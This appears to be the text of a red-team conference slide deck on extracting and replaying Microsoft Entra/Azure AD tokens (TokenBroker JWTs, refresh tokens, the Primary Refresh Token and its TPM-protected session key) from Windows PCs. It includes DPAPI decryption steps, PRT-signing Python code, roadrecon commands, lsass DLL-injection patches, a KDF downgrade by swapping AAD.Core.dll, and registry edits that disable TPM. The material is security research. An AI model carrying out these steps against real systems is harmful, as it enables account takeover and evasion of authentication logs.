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@whoami WhoAreWe

RedTeamer’ы / Pentester’ы / Researcher’ы

Konst + Nick = ~20 years of infosec skills

Web + Infra + Crypto 

We love Burp, Python, IDA, C++, Beer

github.com/mis-team
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At the beginning  (s chego vsjo nachjalos)

RedTeams –> Attack stage –> Analyze stage

RedTeams / analyze stage – checking  information from inside infrastructures

RedTeams / analyze stage – checking information from users, admins PCs

Users/admins PCs 

• browsers passwords/cookies (Chrome, Edge, FF, Opera, etc)

• password managers (KeePass, LastPass, OnePass, etc)

• emails

• docs/pics/etc
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At the beginning  (s chego vsjo nachjalos)
Browsers/Passmanager’s passwords
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At the beginning  (s chego vsjo nachjalos)
Emails….

… Microsoft Outlook … 

… Ms Outlook  + Office365  …

… Ms Outlook  + Office365 + 2fa  …

Emails….

• Offline PST parsing  -> 2.. 4... 6.. 8.. Gb

• Online EWS -> must have 2fa 

• In-place PST parse …

• Continuously analyze …       

Where is it…???
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Outlook + Office365 = … 
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JWT – Json Web Tokens
Base64Header.Base64Payload.Base64Signatute
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JWT – Json Web Tokens
Base64Header.Base64Payload.Base64Signatute
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JWT – BurpSuite
Linux: 

apt install jwt

echo eyJhbGc…. | jwt –show -

Burp: 

Bapp : Json web tokens (JWT4B)
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JWT – Json Web Tokens
Outlook JWT – RSA256 Sign            
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Outlook JWT
Outlook JWT – OK ! Let find it…

Microsoft… 

… Windows …

… DPAPI (Data Protection API) …

Hex: 01 00 00 00 D0 8C 9D

Base64: AQAAANCMnd…

Appdata\Local\Microsoft\TokenBroker\Cache
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Outlook JWT – .tbres files

Outlook JWT – OK ! Let’s find it…

Microsoft… 

… Windows …

… DPAPI (Data Protection API) …

… User Context –> DPAPIck3 (filegeneric.py)
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Tokenbroker Data store object file
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Microsoft JWT – Decode with JWT4B
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Microsoft TokenBroker JWTs
Valid 25 - 27 hours

Tenant ID

User SPN

More user/PC info

… Microsoft Outlook … 

… Ms Teams …

… Ms OneDrive …

… Ms Windows (Microsoft Active Directory) …

… Ms Graph -> MS XXX …



17

Searching AAD
Valid about 27 hours

… but Outlook works more than 27 hours w/o password/2fa re-entry

Starting to search something…

…Outlook + ProcessMonitor

…aadcore.dll

…\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\LocalState
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Decrypting AAD .def files
We didn’t know that it was DPAPI-NG
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Microsoft AADBrokerPlugin .def file
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Microsoft AADBrokerPlugin .def file

Refresh token – for refreshing access JWT

… std Access-Refresh-Access mechanics

… Does NOT fails when refreshing

Access JWTs – for MS services 

… outlook.office365.com

… api.office.net

… shredder.osi.office.net

… enrichment.osi.office.net
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Microsoft AADBrokerPlugin .def folder/files
c_3r0dntpi0u9vqc0ill3i9ll5 00000003-0000-0000-c000-000000000000 
Microsoft Edge

c_5tqmo206bh8vfla76cd5vern 00000003-0000-0000-c000-000000000000 
Microsoft Edge

c_8ip5hoi6fgltcurag437b8a4 d7b530a4-7680-4c23-a8bf-c52c121d2e87  
Microsoft News Feed

c_8mb8eds39r4rmn0oveg4gg5v 268761a2-03f3-40df-8a8b-c3db24145b6b 
Microsoft Universal Store

c_ctqmpl92bqceifhvfidsid87 2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8 
Microsoft Bing Search

c_dfvl2iag0l1tvm5ebr5fp6mi 0ec893e0-5785-4de6-99da-4ed124e5296c 
Microsoft Office UWP

c_g41imis28fo5k1g5u3oi0c3m 1fec8e78-bce4-4aaf-ab1b-5451cc387264  
Microsoft Teams

c_ko4enbntgqc0mpmhkk69sogh ab9b8c07-8f02-4f72-87fa-80105867a763 
Microsoft OneDrive, Sharepoint

c_mi1cmdi10dtsodg6l5e346dh d3590ed6-52b3-4102-aeff-aad2292ab01c 
Microsoft Office (Outlook, Word, etc)

c_qoa64hl0pgeegkoogaqn91si e9c51622-460d-4d3d-952d-966a5b1da34c 
Microsoft Edge

c_qvppge7as2g0b934o4siqob9 6F7E0F60-9401-4F5b-98E2-
CF15BD5Fd5E3 Microsoft Azure Client

c_r7qegm25pd88coqhscltnkiv 00000003-0000-0000-c000-
000000000000 Microsoft Edge
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Refresh Token Auth
• Refresh_token

• Client_id (application Id)

• Resource (same as access token)

• Claims 
…{"access_token":{"xms_cc":{"values":["CP1"]}}}

… if no claims – access JWT valid for ~1 hour
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Refresh Token Auth - Response

• Scope

• Access JWT

• New Refresh

… expires in 1209599 

– 14 days
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Refresh Token Auth – roadrecon tool

• github.com/dirkjanm/ROADtools/

• roadrecon auth --refresh-token 0.AX0A….. -r https://outlook.office365.com
--client d3590ed6-52b3-4102-aeff-aad2292ab01c
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Pentesting/RedTeaming Microsoft tokens
Get files from PC:

… DPAPI

… TokenBroker

… AAD Folder

Decrypt Files

Use Access JWT (1 day) to get data

… no authorization logs on MS cloud

Use refresh to get access JWT

… authorization logs on MS cloud

Use new access JWT to get data
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Pentesting/RedTeaming Microsoft tokens

…but 

PRT
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PRT – primary refresh token
AAD - Azure Active Directory

• Azure AD joined

… login with azure account …

• Hybryd Azure AD joined

… login corporate AD account …

Primary refresh token (PRT) ~= Kerberos TGT

• Primary refresh token

• Per-user & per-device

• SSO to MS Azure apps

• Extremely protected by MS
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PRT – primary refresh token – WTF ???
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PRT – inside primary refresh token
PRT –
\AppData\Local\Packages\Microsoft.AAD.BrokerPlu
gin_cw5n1h2txyewy\LocalState\u_dabnckbc9g8c86
cqf5gb5t0n\p_g7m2ag339emk5tr0k5uuafh1
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PRT – inside primary refresh token
x-ms-RefreshTokenCredential – JWT – eyJhb…

alg – HS256 – hmac sha256

ctx – Context – random seed

kdf_ver – Key derivation function version

request_nonсe – Random Nonce from MS
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PRT – primary refresh token
Nonce – request it from MS
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PRT – Sign me please…

KDF ver 1:

hmacSecret="\x00\x00\x00\x01" + label + "\x00“ +              context       +      "\x00\x00\x01\x00"

AzureAD-SecureConversation

derivedKey = HmacSHA256(key = sessionkey, secret=hmacSecret)

signature = Base64(HS256( derivedkey, Headers, Payload))
Python:

import jwt

payload={"refresh_token":"blablabla", "nonce":"boobooboo"}

headers={'typ':'JWT','alg':'HS256','ctx':ctx}

encodedjwt = jwt.encode(payload, derived_key, algorithm="HS256", headers=headers)
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PRT – SessionKey
I want PRT !

… RSA privkey + pubkey … 

… RSA pubkey -> Microsoft …

… Microsoft encrypt sessionkey with RSA pubkey -> Windows …

… Windows decrypt via RSA privkey –>  sessionkey … 

Secure? NO !

hmacSecret="\x00\x00\x00\x01" + label + "\x00“ +  context + "\x00\x00\x01\x00"

derivedKey = HmacSHA256(key = sessionkey, secret=hmacSecret)

Derive once – replay many times
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PRT – kdf_ver1 vs kdf_ver2
July 2021 - CVE-2021-33779 - Windows  19043

Kdf_ver 2 – mitigate  CVE-2021-33779 - ADFS token replay attack 

KDF ver 1:

hmacSecret="\x00\x00\x00\x01" + label + "\x00“ +  context  +  "\x00\x00\x01\x00"

hmacSecret="\x00\x00\x00\x01" + label + "\x00“ + SHA256(context+payload) + \x00\x00\x01\x00"

KDF ver 2:

KDF ver 1 -> KDF ver 2 - YES

KDF ver 2 -> KDF ver 1 - NO
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PRT – Sessionkey – where is it ?
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PRT – Sessionkey – decrypt me please…
DPAPI Blob – System Mastekeys

… c:\Windows\System32\Microsoft\Protect\S-1-5-18\User …

… DPAPI Secrets from LSA (DPAPI_SYSTEM+DPAPI_USER) …

… HKLM\Security, HKLM\SYSTEM …

… Mimikatz, Impacket, etc …
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PRT + Burp + RoadTools = Love

PRT = Headers + pld=(fresh nonce + refresh_token) + signature 

Manual? No, please…
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Burp + JWT4B

https://github.com/ozzi-/JWT4B/issues

BAPP ???

Only manual 
mode

https://github.com/ozzi-/JWT4B/issues
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PRT – RoadTOOLs
https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon

--prt-sessionkey or  --prt-derivedkey

--context

--prt

-r https://outlook.office365.com

--tokens-stdout

--kdf2

https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
https://outlook.office365.com/
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Burp + Python = Love ??
Burp Python Scripter – python (jython) scripts inside Burp

JWTFUZZ.py
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Burp + Python = Love ??
Burp Python Scripter – python (jython) scripts inside Burp

PRTInsert.py
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PRT – primary refresh token
I want PRT – you know where it is
I want session key – you know where it is
Cool ? – No, TPM! (ngch -> ngc)
TPM – WTF ?
January 1999 Compaq, HP, IBM, Intel and Microsoft – Trusted Computing Platform 
Alliance (TCPA)

April 2003 – Trusted Computing Group (TCG)

March 2011 – TPM Main Specification Version 1.2

April 2014 – TPM Library Specification 2.0

November 2019 – ISO/IEC 11889:2015

Documentaion(~1000p) + https://github.com/microsoft/ms-tpm-20-ref + 
https://github.com/microsoft/TSS.MSR = a little bit of understanding

https://github.com/microsoft/ms-tpm-20-ref
https://github.com/microsoft/TSS.MSR
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PRT – SessionKey (TPM is enabled)
I want PRT !

… RSA transport privkey + pubkey … 

… RSA transport pubkey -> Microsoft …

… Microsoft encrypt sessionkey via RSA transport pubkey -> Windows …

… Windows decrypt via RSA transport privkey –>  sessionkey … 
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TPM – device registration 
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TPM – PRT with TPM decrypted with system MK
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PRT – OPAQ blobs and TPM keys
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Ok, but we need a session key – 32 byte.
How can we get it from this 00 7e 00 20 … ?

NCryptOpenStorageProvider ( 0x00000042fbf7e5b0, "Microsoft Platform Crypto Provider", 0 )
NCryptOpenKey ( 2052750874752, 0x00000042fbf7e5b8, "SK-e2560cac-6831-55b1-b42b-7c3a2ab5c010", 0, 0 )
CryptUnprotectData ( 0x00000042fbf7dc30, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, 
0x00000042fbf7dc20 )
NCryptImportKey ( 2052750874752, 0x000001ddf1738c20, "OpaqueTransport", NULL, 0x00000042fbf7e5c0, 
0x000001ddf17d74d0, 178, 0 )
NCryptKeyDerivation ( 0x000001ddf17d9d60, 0x00000042fbf7e840, 0x00000042fbf7e958, 32, 0x00000042fbf7e930, 0 )
*OpaqueTransport -NCRYPT_OPAQUETRANSPORT_BLOB
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178 byte blob (TPM_CC_Load)
Integrity[32] = hmacSHA256(hmac_key, 
EncryptedSensetiveData[74]+name)

iv[16] – random iv for AES128_CFB

EncryptedSensetiveData[74] = 
AES128_CFB(sym_key, iv, SensetiveData)

NameData[50] – data to compute name

SensetiveData[74] – session key is here

hmac_key[32] = CryptKDFa(seed, “INTEGRITY”)

sym_key[16] = CryptKDFa(seed, “STORAGE”, name)

name[32] = SHA256(Marshal(NameData[50]))

seed[32] = GetSeedForKDF(protector) – WTF?

*protector – is a parent in TPM terminology and 
has an “SK-…”, can we get seed from it?

**If we have seed – we can get session key
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772 byte blob (TPM_CC_Load)

Integrity[32] = hmacSHA256(hmac_key*, 
EncryptedSensetiveData[170]+name*)

iv[16] – random iv for AES256_CFB

EncryptedSensetiveData[170] = AES256_CFB(sym_key*, iv, 
SensetiveData[170])

SensetiveData[170] – here is seed

hmac_key*, sym_key*, name* – are not the same J



50

TPM key hierarchy - https://ericchiang.github.io/post/tpm-keys

Instead of storing keys directly, TPM uses secret 
values called “seeds” that never leave TPM. In TPM 
there are three seeds and associated hierarchies:

- Endorsement: keys used to identify the TPM

- Storage: keys used by local applications

- Platform: keys used by TPM for its own 
operation(we will ignore)

Keys can be restricted(EK, SRK and AIK) and non-
restricted(application keys)

https://ericchiang.github.io/post/tpm-keys
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Attentive Listener: But what about the registration stage?
You said “ .. session key was encrypted via Transport public key”.

WE: Yes, we have analyzed it:
NCryptOpenStorageProvider ( 0x00000042fbcfe0a0, "Microsoft Platform Crypto Provider", 0 )
NCryptOpenKey ( 2052750876512, 0x00000042fbcfe0a8, "SK-e2560cac-6831-55b1-b42b-
7c3a2ab5c010", 0, 0 )

NCryptImportKey ( 2052750876512, 0x000001ddf1738670, "OpaqueTransport", NULL, 
0x00000042fbcfe0b0, 0x000001ddf1a054f8, 418, 0 )

NCryptExportKey ( 0x000001ddf17d9200, NULL, "OpaqueTransport", NULL, 
0x000001ddf17d7110, 178, 0x00000042fbcfe2c0, 2048 )
CryptProtectData ( 0x00000042fbcfe3c0, NULL, NULL, NULL, NULL, 0, 0x00000042fbcfe3b0 )
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418 byte blob (TPM_CC_Import)

inSymSeed[256] – seed* encrypted via transport public 
key. 

To decrypt it : openssl.exe pkeyutl -decrypt -in 
enc256byte.bin -out dec32byte.bin -inkey privkey.pem
-pkeyopt rsa_padding_mode:oaep -pkeyopt
rsa_oaep_label:4455504C494341544500 -pkeyopt
rsa_oaep_md:sha256

Integrity[32] = hmacSHA256(hmac_key**, 
EncryptedSensetiveData[74]+name)

EncryptedSensetiveData[74] = AES256_CFB(sym_key**,  
SensetiveData[74])

SensetiveData[74] – here is session key

hmac_key**, sym_key** are computed from seed*

*we use PCPtool to get privkey
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TPM sniffer
1). Inject pcptpm12.dll to lsass.exe/target

process which calls pcpksp directly:

2). Change context in windbg to lsass/target process:

!process 0 0 lsass.exe

.process /p /r lsass_EPROCESS

3). Patch one check in pcptpm12!PCPFlushTrace:
eb !pcptpm12+0x4742 84

Or even better - set it directly:
eb pcptpm12!g_tPCPTracingEnabled 1

4). Set the path and patch the variable:

ezu PCPTpm12!g_szTraceDir 
"C:\\Users\\1\\AppData\\Roaming\\tpm"

eq PCPKsp!g_fpFlushTrace PCPTpm12!PCPFlushTrace
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PRT + TPM +KDF +JWT +Burp = Love !

Cool ? – Yes

Red Teaming…
Red Teaming…
Red Teaming… 
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Red Teaming – TokenBroker JWTs
Files:

• …\AppData\Local\Microsoft\TokenBroker\Cache\*

• …\AppData\Roaming\Microsoft\Protect\*

SID

Password / Domain BKP RSA key

DPAPICK3

Get files Decrypt it

roadtools
burp
python

Access
Token

No auth
Logs !
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Red Teaming – TokenBroker – Outlook EWS
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Red Teaming – TokenBroker – OneDrive/Sharepoint

curl
python
Burp Intruder
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Red Teaming – TokenBroker – Microsoft Teams
Official TeamsAPP – Browser inside a window

No API documentation 

MS tells: use GRAPH api – no such JWT in PC
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Red Teaming – TokenBroker – Microsoft Teams
https://github.com/fossteams

Unofficial TeamsClient Golang+JS

Works with JWT !

fossteams-frontend – Web Client

fossteams-cli – Console Client !!!

fossteams-api – Go unofficial API

or 
curl / python

https://github.com/fossteams
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Red Teaming – AAD.Brokerplugin
Files:
• AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\LocalState\*

• User masterkeys

• System masterkeys + Registry

User Password / Domain BKP privatekey

User SID

PRT+sessionkey/derivedkey
x-ms-RefreshTokenCredential -> transparent auth to MS resources via Burp+scripts (Auth logs !)

Direct auth to MS resources (api) via Burp, ROADTools, curl, python, etc

No PRT
Separated RefreshTokens -> Get AccessTokens -> Auth MS resources (Outllok, onedrive, teams, etc)

(Auth logs !)
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Red Teaming – AAD.Brokerplugin
No PRT  Separated RefreshTokens -> Get AccessTokens -> Auth MS resources(Outllok, onedrive, teams, etc)
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Red Teaming – AAD.Brokerplugin

Outlook.office365.com:

… browser -> outlook.office365.com … -> OAUTH redirect  to login.microsoftonline.com

… browser -> login.microsoftonline.com (burp inserts x-ms-RefreshTokenCredential) -> Oauth code

… browser -> login.microsoftonline.com (Oauth code) -> redirect to outlook.offile365.com

PRT  x-ms-
RefreshTokenCredential via Burp 
+ jython script (InsertPRT.py) 

vpn.company.com: (fortinet client)

…User Fortinet client -> open browser with MS auth -> SAML request + redirect  to login.microsoftonline.com

… browser -> login.microsoftonline.com (burp inserts x-ms-RefreshTokenCredential) -> SAML response

… User Fortinet client vpn.company.com (SAML response) -> VPN profit !
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Red Teaming – AAD.Brokerplugin
PRT  KDFv1 – MS Windows < 19043

Derivedkey replay Attack:

Get derivedkey from target PC (mimikatz, powershell, c++) + custom context

Use PRT + derivedkey + custom context  to direct auth (roadrecon –derived-key ….. )

PRT  KDFv2 – MS Windows >= 19043

Downgrade KDFv2 ->  replay Attack:

KDF is hardcoded in AAD.Core.dll (c:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\AAD.Core.dll)

… Just replace it with old version !

… Trusted installer privs -> https://github.com/rara64/GetTrustedInstaller

… Dll hijack taskshost.exe -> AAD.Core.dll

… Edit AppManifest file

User have to re-login !!!
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Red Teaming – AAD.Brokerplugin
PRT + TPM

Disable TPM -> Windows will use DPAPI -> DPAPIck3 + system masterkeys

… disable TPM service in registry (reboot, relogin)

… disable TPM driver in registry (reboot, relogin)

… unload / delete TPM driver (relogin)

Disable TPM Keys -> Windows will use DPAPI -> DPAPIck3 + system masterkeys

MS Office ADAL

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Identity]

"DisableADALatopWAMOverride"=dword:00000001

"DisableAADWAM"=dword:00000001

"EnableADAL"=dword:00000000 

MS Edge

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge]

"BrowserSignin"=dword:00000000
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Remediation
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Conclusion
• MS developers  +100500 karma
• TPM = cool 
• PRT + TPM = cool x 2
• DPAPI -> TPM
• DPAPI keys need to be protected/monitored in advance
• AAD/tokenbroker files need to be protected/monitored in advance
• TPM research to be continued
• AAD research to be continued
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